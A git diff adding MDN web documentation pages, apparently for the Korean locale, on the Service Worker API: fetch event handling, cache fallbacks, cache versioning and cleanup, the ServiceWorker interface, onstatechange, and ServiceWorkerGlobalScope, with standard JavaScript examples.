+ <li>After a successful installation, the service worker activates. This doesn’t have much of a distinct use the first time your service worker is installed/activated, but it means more when the service worker is updated (see the {{anch("Updating your service worker") }} section later on.)</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> works in a similar way to service worker cache, but it is synchronous, so not allowed in service workers.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> can be used inside a service worker for data storage if you require it.</p>
+</div>
+
+<h3 id="Custom_responses_to_requests">Custom responses to requests</h3>
+
+<p>Now you’ve got your site assets cached, you need to tell service workers to do something with the cached content. This is easily done with the <code>fetch</code> event.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12634/sw-fetch.png" style="display: block; margin: 0 auto;"></p>
+
+<p>A <code>fetch</code> event fires every time any resource controlled by a service worker is fetched, which includes the documents inside the specified scope, and any resources referenced in those documents (for example if <code>index.html</code> makes a cross origin request to embed an image, that still goes through its service worker.)</p>
+
+<p>You can attach a <code>fetch</code> event listener to the service worker, then call the <code>respondWith()</code> method on the event to hijack our HTTP responses and update them with your own magic.</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    // magic goes here
+  );
+});</pre>
+
+<p>We could start by simply responding with the resource whose url matches that of the network request, in each case:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request)
+  );
+});</pre>
+
+<p><code>caches.match(event.request)</code> allows us to match each resource requested from the network with the equivalent resource available in the cache, if there is a matching one available. The matching is done via url and vary headers, just like with normal HTTP requests.</p>
+
+<p>Let’s look at a few other options we have when defining our magic (see our <a href="/en-US/docs/Web/API/Fetch_API">Fetch API documentation</a> for more information about {{domxref("Request")}} and {{domxref("Response")}} objects.)</p>
+
+<ol>
+ <li>
+  <p>The <code>{{domxref("Response.Response","Response()")}}</code> constructor allows you to create a custom response. In this case, we are just returning a simple text string:</p>
+
+  <pre class="brush: js">new Response('Hello from your friendly neighbourhood service worker!');</pre>
+ </li>
+ <li>
+  <p>This more complex <code>Response</code> below shows that you can optionally pass a set of headers in with your response, emulating standard HTTP response headers. Here we are just telling the browser what the content type of our synthetic response is:</p>
+
+  <pre class="brush: js">new Response('&lt;p&gt;Hello from your friendly neighbourhood service worker!&lt;/p&gt;', {
+  headers: { 'Content-Type': 'text/html' }
+});</pre>
+ </li>
+ <li>
+  <p>If a match wasn’t found in the cache, you could tell the browser to simply {{domxref("GlobalFetch.fetch","fetch")}} the default network request for that resource, to get the new resource from the network if it is available:</p>
+
+  <pre class="brush: js">fetch(event.request);</pre>
+ </li>
+ <li>
+  <p>If a match wasn’t found in the cache, and the network isn’t available, you could just match the request with some kind of default fallback page as a response using {{domxref("CacheStorage.match","match()")}}, like this:</p>
+
+  <pre class="brush: js">caches.match('/fallback.html');</pre>
+ </li>
+ <li>
+  <p>You can retrieve a lot of information about each request by calling parameters of the {{domxref("Request")}} object returned by the {{domxref("FetchEvent")}}:</p>
+
+  <pre class="brush: js">event.request.url
+event.request.method
+event.request.headers
+event.request.body</pre>
+ </li>
+</ol>
+
+<h2 id="Recovering_failed_requests">Recovering failed requests</h2>
+
+<p>So <code>caches.match(event.request)</code> is great when there is a match in the service worker cache, but what about cases when there isn’t a match? If we didn’t provide any kind of failure handling, our promise would resolve with <code>undefined</code> and we wouldn't get anything returned.</p>
+
+<p>Fortunately service workers’ promise-based structure makes it trivial to provide further options towards success. We could do this:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      return response || fetch(event.request);
+    })
+  );
+});</pre>
+
+<p>If the resources isn't in the cache, it is requested from the network.</p>
+
+<p>If we were being really clever, we would not only request the resource from the network; we would also save it into the cache so that later requests for that resource could be retrieved offline too! This would mean that if extra images were added to the Star Wars gallery, our app could automatically grab them and cache them. The following would do the trick:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(resp) {
+      return resp || fetch(event.request).then(function(response) {
+        return caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});</pre>
+
+<p>Here we return the default network request with <code>return fetch(event.request)</code>, which returns a promise. When this promise is resolved, we respond by running a function that grabs our cache using <code>caches.open('v1')</code>; this also returns a promise. When that promise resolves, <code>cache.put()</code> is used to add the resource to the cache. The resource is grabbed from <code>event.request</code>, and the response is then cloned with <code>response.clone()</code> and added to the cache. The clone is put in the cache, and the original response is returned to the browser to be given to the page that called it.</p>
+
+<p>Cloning the response is necessary because request and response streams can only be read once.  In order to return the response to the browser and put it in the cache we have to clone it. So the original gets returned to the browser and the clone gets sent to the cache.  They are each read once.</p>
+
+<p>The only trouble we have now is that if the request doesn’t match anything in the cache, and the network is not available, our request will still fail. Let’s provide a default fallback so that whatever happens, the user will at least get something:</p>
+
+<pre class="brush: js">this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(resp) {
+      return resp || fetch(event.request).then(function(response) {
+        caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+        });
+        return response;
+      });
+    }).catch(function() {
+      return caches.match('/sw-test/gallery/myLittleVader.jpg');
+    })
+  );
+});</pre>
+
+<p>We have opted for this fallback image because the only updates that are likely to fail are new images, as everything else is depended on for installation in the <code>install</code> event listener we saw earlier.</p>
+
+<h2 id="Updating_your_service_worker"><a id="Updating your service worker" name="Updating your service worker">Updating your service worker</a></h2>
+
+<p>If your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated. It is only activated when there are no longer any pages loaded that are still using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates.</p>
+
+<p>You’ll want to update your <code>install</code> event listener in the new service worker to something like this (notice the new version number):</p>
+
+<pre class="brush: js">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v2').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+
+        …
+
+        // include other new resources for the new version...
+      ]);
+    })
+  );
+});</pre>
+
+<p>While this happens, the previous version is still responsible for fetches. The new version is installing in the background. We are calling the new cache <code>v2</code>, so the previous <code>v1</code> cache isn't disturbed.</p>
+
+<p>When no pages are using the current version, the new worker activates and becomes responsible for fetches.</p>
+
+<h3 id="Deleting_old_caches">Deleting old caches</h3>
+
+<p>You also get an <code>activate</code> event. This is a generally used to do stuff that would have broken the previous version while it was still running, for example getting rid of old caches. This is also useful for removing data that is no longer needed to avoid filling up too much disk space — each browser has a hard limit on the amount of cache storage that a given service worker can use. The browser does its best to manage disk space, but it may delete the Cache storage for an origin.  The browser will generally delete all of the data for an origin or none of the data for an origin.</p>
+
+<p>Promises passed into <code>waitUntil()</code> will block other events until completion, so you can rest assured that your clean-up operation will have completed by the time you get your first <code>fetch</code> event on the new cache.</p>
+
+<pre class="brush: js">this.addEventListener('activate', function(event) {
+  var cacheWhitelist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then(function(keyList) {
+      return Promise.all(keyList.map(function(key) {
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});</pre>
+
+<h2 id="Developer_tools">Developer tools</h2>
+
+<p>Chrome has <code>chrome://inspect/#service-workers</code>, which shows current service worker activity and storage on a device, and <code>chrome://serviceworker-internals</code>, which shows more detail and allows you to start/stop/debug the worker process. In the future they will have throttling/offline modes to simulate bad or non-existent connections, which will be a really good thing.</p>
+
+<p>Firefox has also started to implement some useful tools related to service workers:</p>
+
+<ul>
+ <li>You can navigate to <code><a href="/en-US/docs/Tools/about:debugging">about:debugging</a></code> to see what SWs are registered and update/remove them.</li>
+ <li>When testing you can get around the HTTPS restriction by checking the "Enable Service Workers over HTTP (when toolbox is open)" option in the <a href="/en-US/docs/Tools/Settings">Firefox Developer Tools settings</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: You may serve your app from <code>http://localhost</code> (e.g. using <code>me@localhost:/my/app$ <strong>python -m SimpleHTTPServer</strong></code>) for local development. See <a href="https://www.w3.org/TR/service-workers/#security-considerations">Security considerations</a></p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("33.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs/">The Service Worker Cookbook</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>Download the <a href="https://mdn.mozillademos.org/files/12638/sw101.png">Service Workers 101 cheatsheet</a>.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworker/index.html b/files/ko/web/api/serviceworker/index.html
new file mode 100644
index 0000000000..e7e5907ecf
--- /dev/null
+++ b/files/ko/web/api/serviceworker/index.html
@@ -0,0 +1,113 @@
+---
+title: ServiceWorker
+slug: Web/API/ServiceWorker
+tags:
+  - API
+  - Interface
+  - Offline
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - Workers
+  - 서비스 워커
+  - 워커
+translation_of: Web/API/ServiceWorker
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p><a href="/ko/docs/Web/API/Service_Worker_API">Service Worker API</a>의 <strong><code>ServiceWorker</code></strong> 인터페이스는 서비스 워커로의 참조를 제공합니다. 다수의{{glossary("browsing context", "브라우징 맥락")}}(e.g. 페이지, 다른 워커, 등등)는 고유한<code> ServiceWorker</code> 객체를 통해 동일한 서비스 워커와 연결할 수 있습니다.</p>
+
+<p><code>ServiceWorker</code> 객체는 {{domxref("ServiceWorkerRegistration.active")}} 속성과 {{domxref("ServiceWorkerContainer.controller")}} 속성으로 접근할 수 있습니다. <code>controller</code>는 활성화되어 페이지를 통제 중인 서비스 워커입니다.</p>
+
+<p><code>ServiceWorker</code> 인터페이스에서는 일련의 생명주기 이벤트(<code>install</code>, <code>activate</code>)와 기능 이벤트(<code>fetch</code>)가 발생합니다. <code>ServiceWorker</code> 객체의 생명주기는 {{domxref("ServiceWorker.state")}} 속성이 담고 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>ServiceWorker</code> 인터페이스는 부모 {{domxref("Worker")}}에서 속성을 상속합니다.</p>
+
+<dl>
+ <dt>{{domxref("ServiceWorker.scriptURL")}} {{readonlyinline}}</dt>
+ <dd>Returns the <code>ServiceWorker</code> serialized script URL defined as part of {{domxref("ServiceWorkerRegistration")}}. The URL must be on the same origin as the document that registers the <code>ServiceWorker</code>.</dd>
+ <dt>{{domxref("ServiceWorker.state")}} {{readonlyinline}}</dt>
+ <dd>Returns the state of the service worker. It returns one of the following values: <code>installing</code>, <code>installed,</code> <code>activating</code>, <code>activated</code>, or <code>redundant</code>.</dd>
+</dl>
+
+<h3 id="이벤트_처리기">이벤트 처리기</h3>
+
+<dl>
+ <dt>{{domxref("ServiceWorker.onstatechange")}} {{readonlyinline}}</dt>
+ <dd>An {{domxref("EventListener")}} property called whenever an event of type <code>statechange</code> is fired; it is basically fired anytime the {{domxref("ServiceWorker.state")}} changes.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>ServiceWorker</code> 인터페이스는 부모 {{domxref("Worker")}}에서 메서드를 상속합니다. 단, {{domxref("Worker.terminate()")}}는 예외이며 서비스 워커에서 접근할 수 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>This code snippet is from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html">service worker registration-events sample</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/">live demo</a>). The code listens for any change in the {{domxref("ServiceWorker.state")}} and returns its value.</p>
+
+<pre class="brush: js notranslate">if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('service-worker.js', {
+        scope: './'
+    }).then(function (registration) {
+        var serviceWorker;
+        if (registration.installing) {
+            serviceWorker = registration.installing;
+            document.querySelector('#kind').textContent = 'installing';
+        } else if (registration.waiting) {
+            serviceWorker = registration.waiting;
+            document.querySelector('#kind').textContent = 'waiting';
+        } else if (registration.active) {
+            serviceWorker = registration.active;
+            document.querySelector('#kind').textContent = 'active';
+        }
+        if (serviceWorker) {
+            // logState(serviceWorker.state);
+            serviceWorker.addEventListener('statechange', function (e) {
+                // logState(e.target.state);
+            });
+        }
+    }).catch (function (error) {
+        // Something went wrong during registration. The service-worker.js file
+        // might be unavailable or contain a syntax error.
+    });
+} else {
+    // The current browser doesn't support service workers.
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#serviceworker', 'ServiceWorker')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://serviceworke.rs">ServiceWorker Cookbook</a></li>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service worker basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworker/onstatechange/index.html b/files/ko/web/api/serviceworker/onstatechange/index.html
new file mode 100644
index 0000000000..d6063f0445
--- /dev/null
+++ b/files/ko/web/api/serviceworker/onstatechange/index.html
@@ -0,0 +1,72 @@
+---
+title: ServiceWorker.onstatechange
+slug: Web/API/ServiceWorker/onstatechange
+translation_of: Web/API/ServiceWorker/onstatechange
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p><code>statechange</code> 타입의 이벤트가 발생될 때마다 호출되는 {{domxref("EventListener")}} 속성. 기본적으로 {{domxref("ServiceWorker.state")}}가 변경되는 시점에 발생한다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">ServiceWorker.onstatechange = function(statechangeevent) { ... }
+ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } )</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>이 코드 조각은 <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/registration-events/index.html">service worker registration-events sample</a> (<a href="https://googlechrome.github.io/samples/service-worker/registration-events/">live demo</a>) 으로부터 가져온 것이다. 이 코드는 {{domxref("ServiceWorker.state")}}의 모든 변경 사항을 수신하고 그 값을 반환한다.</p>
+
+<pre class="brush: js">var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}</pre>
+
+<p><code>statechange</code> 가 발생할 때, 서비스워커의 참조들이 변화할 수 있으므로 주의하라. 예시:</p>
+
+<pre class="brush: js">navigator.serviceWorker.register(..).then(function(swr) {
+  swr.installing.state == "installing"
+  swr.installing.onstatechange = function() {
+    swr.installing == null;
+    // 이 시점에서, swr.waiting 또는 swr.active는 true일 것이다. 이것은 statechange 이벤트가 대기 상태이기 때문이며,
+    // 그동안 잠재 상태의 워커가 waiting 상태가 될 수도 있으며 가능한 경우에는 즉시 activated 될 것이다.
+  }
+})</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-onstatechange-attribute', 'ServiceWorker.onstatechange')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorker.onstatechange")}}</p>
+</div>
diff --git a/files/ko/web/api/serviceworkerglobalscope/clients/index.html b/files/ko/web/api/serviceworkerglobalscope/clients/index.html
new file mode 100644
index 0000000000..ccc6ab78a8
--- /dev/null
+++ b/files/ko/web/api/serviceworkerglobalscope/clients/index.html
@@ -0,0 +1,55 @@
+---
+title: ServiceWorkerGlobalScope.clients
+slug: Web/API/ServiceWorkerGlobalScope/clients
+translation_of: Web/API/ServiceWorkerGlobalScope/clients
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p>{{domxref("ServiceWorkerGlobalScope")}} 인터페이스의 <strong><code>clients</code></strong> 읽기 전용 속성은 서비스 워커와 관련된 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Clients" title="The ServiceWorkerClients interface of the ServiceWorker API represents a container for a list of ServiceWorkerClient objects."><code>Clients</code></a> 객체를 반환한다.</p>
+
+<h2 id="Syntax" name="Syntax" style="line-height: 30px; font-size: 2.14285714285714rem;">Syntax</h2>
+
+<pre class="syntaxbox" style="font-size: 14px;">swClients = self.clients
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>특정한 워커와 관련된 {{domxref("Clients")}} 객체.</p>
+
+<h2 id="Specifications" style="line-height: 30px; font-size: 2.14285714285714rem;">Specifications</h2>
+
+<div></div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Specification</span></font></th>
+   <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Status</span></font></th>
+   <th scope="col"><font face="Open Sans, sans-serif"><span style="font-weight: normal;">Comment</span></font></th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#service-worker-global-scope-clients', 'ServiceWorkerRegistration.clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.<br>
+     </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerGlobalScope.clients")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerglobalscope/index.html b/files/ko/web/api/serviceworkerglobalscope/index.html
new file mode 100644
index 0000000000..3f4115cbab
--- /dev/null
+++ b/files/ko/web/api/serviceworkerglobalscope/index.html
@@ -0,0 +1,152 @@
+---
+title: ServiceWorkerGlobalScope
+slug: Web/API/ServiceWorkerGlobalScope
+tags:
+  - API
+  - Draft
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - ServiceWorkerGlobalScope
+  - TopicStub
+  - Workers
+translation_of: Web/API/ServiceWorkerGlobalScope
+---
+<div>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</div>
+
+<p>The <code>ServiceWorkerGlobalScope</code> interface of the <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a> represents the global execution context of a service worker.</p>
+
+<p>Developers should keep in mind that the ServiceWorker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state.</p>
+
+<p>Once successfully registered, a service worker can and will be terminated when idle to conserve memory and processor power. An active service worker is automatically restarted to respond to events, such as {{domxref("ServiceWorkerGlobalScope.onfetch")}} or {{domxref("ServiceWorkerGlobalScope.onmessage")}}.</p>
+
+<p>Additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the {{domxref("GlobalFetch.fetch", "fetch()")}} method, can be used.</p>
+
+<p>This interface inherits from the {{domxref("WorkerGlobalScope")}} interface, and its parent {{domxref("EventTarget")}}, and therefore implements properties from {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, and {{domxref("WindowEventHandlers")}}.</p>
+
+<p>{{InheritanceDiagram(700, 85, 20)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerGlobalScope.clients")}} {{readonlyinline}}</dt>
+ <dd>Contains the {{domxref("Clients")}} object associated with the service worker.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.registration")}} {{readonlyinline}}</dt>
+ <dd>Contains the {{domxref("ServiceWorkerRegistration")}} object that represents the service worker's registration.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope.caches")}} {{readonlyinline}}</dt>
+ <dd>Contains the {{domxref("CacheStorage")}} object associated with the service worker.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/activate_event">activate</a></code></dt>
+ <dd>Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active")}} worker.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onactivate")}} property.</dd>
+ <dt><code>fetch</code></dt>
+ <dd>Occurs when a {{domxref("GlobalFetch.fetch", "fetch()")}} is called.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onfetch")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/install_event">install</a></code></dt>
+ <dd>Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.installing")}} worker.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.oninstall")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/message_event">message</a></code></dt>
+ <dd>Occurs when incoming messages are received. Controlled pages can use the {{domxref("MessagePort.postMessage()")}} method to send messages to service workers. The service worker can optionally send a response back via the {{domxref("MessagePort")}} exposed in <a href="https://html.spec.whatwg.org/multipage/comms.html#messageport"><code>event.data.port</code></a>, corresponding to the controlled page.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onmessage")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/notificationclick_event">notificationclick</a></code></dt>
+ <dd>Occurs when a user clicks on a displayed notification.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} property.</dd>
+ <dt><code>notificationclose</code></dt>
+ <dd>Occurs — when a user closes a displayed notification.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onnotificationclose")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/push_event">push</a></code></dt>
+ <dd>Occurs when a server push notification is received.<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onpush")}} property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/pushsubscriptionchange_event">pushsubscriptionchange</a></code></dt>
+ <dd>Occurs when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time).<br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} property.</dd>
+ <dt><code>sync</code></dt>
+ <dd>Triggered when a call to {{domxref("SyncManager.register")}} is made from a service worker client page. The attempt to sync is made either immediately if the network is available or as soon as the network becomes available. <br>
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onsync")}} property.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("ServiceWorkerGlobalScope.skipWaiting()")}}</dt>
+ <dd>Allows the current service worker registration to progress from waiting to active state while service worker clients are using it.</dd>
+</dl>
+
+<p><code>ServiceWorkerGlobalScope</code> implements {{domxref("WorkerGlobalScope")}} — which implements {{domxref("WindowOrWorkerGlobalScope")}}. Therefore it also has the following property available to it:</p>
+
+<dl>
+ <dt>{{domxref("GlobalFetch.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource. This returns a promise that resolves to the {{domxref("Response")}} object representing the response to your request. This algorithm is the entry point for the fetch handling handed to the service worker context.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This code snippet is from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/prefetch/service-worker.js">service worker prefetch sample</a> (see <a href="https://googlechrome.github.io/samples/service-worker/prefetch/">prefetch example live</a>.) The {{domxref("ServiceWorkerGlobalScope.onfetch")}} event handler listens for the <code>fetch</code> event. When fired, the code returns a promise that resolves to the first matching request in the {{domxref("Cache")}} object. If no match is found, the code fetches a response from the network.</p>
+
+<p>The code also handles exceptions thrown from the {{domxref("GlobalFetch.fetch", "fetch()")}} operation. Note that an HTTP error response (e.g., 404) will not trigger an exception. It will return a normal response object that has the appropriate error code set.</p>
+
+<pre class="brush: js">self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      if (response) {
+        console.log('Found response in cache:', response);
+
+        return response;
+      }
+      console.log('No response found in cache. About to fetch from network...');
+
+      return fetch(event.request).then(function(response) {
+        console.log('Response from network is:', response);
+
+        return response;
+      }, function(error) {
+        console.error('Fetching failed:', error);
+
+        throw error;
+      });
+    })
+  );
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#serviceworkerglobalscope-interface', 'ServiceWorkerGlobalScope')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ServiceWorkerGlobalScope")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html b/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html
new file mode 100644
index 0000000000..685d5c99d2
--- /dev/null
+++ b/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html
@@ -0,0 +1,104 @@
+---
+title: 'ServiceWorkerGlobalScope: notificationclick event'
